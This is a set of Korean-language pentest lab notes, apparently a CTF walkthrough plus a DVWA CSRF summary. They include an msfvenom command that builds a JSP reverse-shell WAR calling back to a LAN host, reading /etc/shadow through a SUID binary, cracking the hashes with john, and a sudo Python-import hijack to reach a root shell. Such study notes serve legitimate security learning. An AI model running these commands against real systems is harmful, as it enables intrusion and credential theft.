feroxbuster : webserver 탐색 tool

fcrackzip : zip파일 비밀번호 탐색 tool

+ sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.120 LPORT=5555

-f war -o revshell.war # war 형태로 reverse shell script 생성

+ website에 업로드 + 터미널에 shell 생성

Suid 설정이 되어있는 look 파일을 이용해서

$LFILE = /etc/shadow # LFILE 변수에 shadow 파일 지정

./look '' $LFILE # suid 상태로 shadow 파일 읽기

+ shadow 파일 SHA-512 형식으로 암호화 되어있음.

kali에서 sudo john --wordlist=/usr/share/wordlists/rockyou.txt crhush.txt
↳ shadow파일

+ sudo -l : random base64.py 확인

random base 64.py → Base64.py 불러오는지 확인 → Base64.py에 Bash shell 명령어 입력

Sudo 상태로 실행 → root 권한이 있는 shell 생성

# DVWA CSRF

## Low

별도 검증과정 없이 get 요청 방식으로 passwd_new / passwd_conf 파라미터 2개로 받아서 처리

→ 관리자에게 해당 url을 스팸메일로 보내 클릭하게 되면 비밀번호가 변경된다.

## Medium

Referer 검증추가

# High

사용자 요청마다 고유하게 변하는 Anti-CSRF 토큰 검증을 수행